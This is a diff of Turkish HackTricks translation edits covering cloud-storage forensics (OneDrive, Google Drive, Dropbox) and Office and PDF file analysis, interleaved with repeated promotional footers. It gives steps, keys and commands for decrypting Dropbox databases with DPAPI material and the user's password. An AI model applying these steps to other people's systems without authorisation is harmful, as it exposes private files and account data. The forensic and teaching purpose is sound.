+CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. _**\.ini**_ ve _**\.dat**_ adında dosyalar bulabilir ve bu dosyalarda OneDrive ile senkronize edilen dosyaların adlarını içerebilecek ilginç bilgiler bulabilirsiniz.
## Google Drive
-Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` dizininde bulabilirsiniz.\
-Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgileri içeren Sync\_log.log adlı bir dosya içerir. Silinen dosyalar bile ilgili MD5 ile birlikte bu günlük dosyasında görünür.
+Windows'ta, ana Google Drive klasörünü `\Users\\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\
+Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosyayı içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür.
-**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda senkronize edilen dosyaların **adı**, **değiştirilme zamanı**, **boyutu** ve **MD5 karma değeri** bulunabilir.
+**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 karma değeri bulunabilir.
-Veritabanının **`Sync_config.db`** tablo verileri, hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
+Veritabanının **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
## Dropbox
-Dropbox, dosyaları yönetmek için **SQLite veritabanlarını** kullanır. Bu\
+Dropbox, dosyaları yönetmek için **SQLite veritabanları** kullanır. Bu\
Veritabanlarını şu klasörlerde bulabilirsiniz:
* `\Users\\AppData\Local\Dropbox`
* `\Users\\AppData\Local\Dropbox\Instance1`
* `\Users\\AppData\Roaming\Dropbox`
-Ve ana veritabanaları şunlardır:
+Ve ana veritabanları şunlardır:
* Sigstore.dbx
* Filecache.dbx
* Deleted.dbx
* Config.dbx
-".dbx" uzantısı, veritabanlarının **şifrelendiği** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
+".dbx" uzantısı, veritabanlarının **şifreli olduğu** anlamına gelir. Dropbox, **DPAPI** kullanır ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Dropbox'un kullandığı şifrelemeyi daha iyi anlamak için [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) adresini okuyabilirsiniz.
-Ancak, temel bilgiler şunlardır:
+Ancak, ana bilgiler şunlardır:
-* **Entropy**: d114a55212655f74bd772e37e64aee9b
-* **Salt**: 0D638C092E8B82FC452883F95F355B8E
+* **Entropi**: d114a55212655f74bd772e37e64aee9b
+* **Tuz**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritma**: PBKDF2
* **İterasyonlar**: 1066
-Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala ihtiyacınız olanlar:
+Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala gerekenler:
-* **Şifrelenmiş DPAPI anahtarı**: Bu anahtarı, `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın)
+* **Şifreli DPAPI anahtarı**: Bu veriyi `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın)
* **`SYSTEM`** ve **`SECURITY`** hive'ları
-* **DPAPI anahtarları**: Bunlar, `\Users\\AppData\Roaming\Microsoft\Protect` dizininde bulunabilir
-* Windows kullanıcısının **kullanıcı adı** ve **parolası**
+* **DPAPI anahtarları**: Bunlar `\Users\\AppData\Roaming\Microsoft\Protect` içinde bulunabilir
+* Windows kullanıcısının **kullanıcı adı** ve **şifresi**
-Ardından, [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**** aracını kullanabilirsiniz:
+Ardından [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:**
![](<../../../.gitbook/assets/image (448).png>)
-Her şey beklenildiği gibi giderse, araç, orijinali kurtarmak için gereken **birincil anahtar**'ı gösterecektir. Orijinali kurtarmak için, bu [cyber\_chef tarifini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) kullanarak birincil anahtarı tarifin "parola" olarak kullanın.
+Her şey beklediğiniz gibi giderse, araç **kullanmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içindeki birincil anahtarı "şifre" olarak kullanarak kullanabilirsiniz.
-Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şu şekilde şifrelenmiş veritabanları çözülebilir:
+Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan son anahtardır ve şununla şifrelenmiş veritabanlarını çözebilirsiniz:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
-**`config.dbx`** veritabanı aşağıdakileri içerir:
+**`config.dbx`** veritabanı şunları içerir:
- **Email**: Kullanıcının e-posta adresi
- **usernamedisplayname**: Kullanıcının adı
- **dropbox\_path**: Dropbox klasörünün bulunduğu yol
-- **Host\_id: Bulutu doğrulamak için kullanılan hash**. Bu sadece web üzerinden iptal edilebilir.
+- **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir.
- **Root\_ns**: Kullanıcı kimliği
-**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörlerle ilgili bilgileri içerir. `File_journal` tablosu daha fazla kullanışlı bilgi içerir:
+**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şudur:
-- **Server\_path**: Dosyanın sunucu içinde bulunduğu yol (bu yol, istemcinin `host_id` ile öncelenir).
+- **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir).
- **local\_sjid**: Dosyanın sürümü
-- **local\_mtime**: Değiştirilme tarihi
+- **local\_mtime**: Değiştirme tarihi
- **local\_ctime**: Oluşturma tarihi
-Bu veritabanının içindeki diğer tablolar daha ilginç bilgiler içerir:
+Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
-- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash değeri
-- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'siyle ilişkilendirir
-- **mount\_table**: Dropbox paylaşılan klasörler
-- **deleted\_fields**: Dropbox silinmiş dosyaları
+- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'i
+- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir
+- **mount\_table**: Dropbox'un paylaşılan klasörleri
+- **deleted\_fields**: Silinen Dropbox dosyaları
- **date\_added**
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-- Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-- Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
-- Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da **takip edin**.
+- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index a4499d88f..fe97af51e 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,59 +1,58 @@
-# Office dosya analizi
+# Ofis dosyası analizi
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+AWS hackleme konusunda sıfırdan kahramana kadar öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı **takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest** kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresini kontrol edin. Bu sadece bir özet:
-Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (RTF, DOC, XLS, PPT gibi) ve **Office Open XML (OOXML) formatları** (DOCX, XLSX, PPTX gibi) olarak adlandırılır. Bu formatlar makrolar içerebilir, bu nedenle phishing saldırıları ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu nedenle açılarak incelenebilir, dosya ve klasör hiyerarşisi ile XML dosya içeriği ortaya çıkarılabilir.
+Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar makrolar içerebilir, bu nedenle balık avı ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da açılarak inceleme yapılmasına izin verir, dosya ve klasör hiyerarşisini ve XML dosya içeriğini ortaya çıkarır.
-OOXML dosya yapılarını keşfetmek için, bir belgeyi açmak için kullanılan komut ve çıktı yapısı verilmiştir. Bu dosyalarda veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda sürekli yenilik olduğunu göstermektedir.
+OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını gösteren komut verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda devam eden yenilikleri gösterir.
-Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım dağıtımı için vektör olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir.
+Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimat vektörleri olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur, genellikle ek kötü amaçlı yükleri indirip yürüten kötü amaçlı yazılımlar için. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir.
-**oletools**'un kurulumu ve kullanımı kolaydır, pip aracılığıyla kurulum için komutlar sağlanmıştır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
+**oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmıştır ve belgelerden makroları çıkarmak için kullanılır. Makroların otomatik olarak yürütülmesi, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+Sıfırdan kahraman olana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin.**
-* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 23237cd45..d8de4f5fe 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -2,51 +2,51 @@
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+Sıfırdan Kahramana AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **Trickest**'i kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**Daha fazla ayrıntı için şuraya bakın: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
+**Daha fazla ayrıntı için kontrol edin:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
-PDF formatı, verileri gizleme potansiyeli ve karmaşıklığıyla bilinen bir formattır ve CTF adli bilişim zorluklarında odak noktası olabilir. PDF, düz metin öğelerini sıkıştırılmış veya şifrelenmiş olabilen ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyaline](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel bir düzenleyici gibi araçlar kullanılabilir.
+PDF formatı, verileri gizleme potansiyeli ve karmaşıklığı ile bilinir, bu da onu CTF adli bilişim zorluklarının odak noktası haline getirir. Basit metin öğelerini sıkıştırılmış veya şifrelenmiş olabilecek ikili nesnelerle birleştirir ve JavaScript veya Flash gibi dillerde betikler içerebilir. PDF yapısını anlamak için Didier Stevens'ın [giriş materyallerine](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) başvurulabilir veya bir metin düzenleyici veya Origami gibi PDF özel düzenleyiciler gibi araçlar kullanılabilir.
-PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler aşağıdaki gibi gizlenebilir:
+PDF'lerin derinlemesine keşfi veya manipülasyonu için [qpdf](https://github.com/qpdf/qpdf) ve [Origami](https://github.com/mobmewireless/origami-pdf) gibi araçlar mevcuttur. PDF'lerdeki gizli veriler şunlarda gizlenebilir:
* Görünmez katmanlar
-* Adobe tarafından XMP meta veri formatı
+* Adobe'nin XMP meta veri formatı
* Artımsal nesiller
* Arka planla aynı renkteki metin
-* Resimlerin arkasında veya resimlerin üzerinde yer alan metinler
+* Resimlerin arkasındaki metin veya resimlerin üst üste binmesi
* Görüntülenmeyen yorumlar
-Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler konusundaki rehberi, artık orijinal konumunda barındırılmıyor olsa da, hala değerli bilgiler sunmaktadır. [Rehberin bir kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konuyla ilgili daha fazla okuma sağlayabilir.
+Özel PDF analizi için [PeepDF](https://github.com/jesparza/peepdf) gibi Python kütüphaneleri, özel ayrıştırma betikleri oluşturmak için kullanılabilir. Ayrıca, PDF'nin gizli veri depolama potansiyeli o kadar geniştir ki, NSA'nın PDF riskleri ve karşı önlemler hakkındaki kılavuzu gibi kaynaklar, artık orijinal konumunda barındırılmıyor olsa da hala değerli içgörüler sunmaktadır. Bir [kılavuz kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini'nin [PDF formatı püf noktaları](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir.
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+Sıfırdan Kahramana AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md
index b54ba0b7d..d8c5f5ecf 100644
--- a/generic-methodologies-and-resources/brute-force.md
+++ b/generic-methodologies-and-resources/brute-force.md
@@ -1,30 +1,30 @@
-# Brute Force - Hile Kağıdı
+# Brute Force - Kopya Kağıdı
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
+Sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
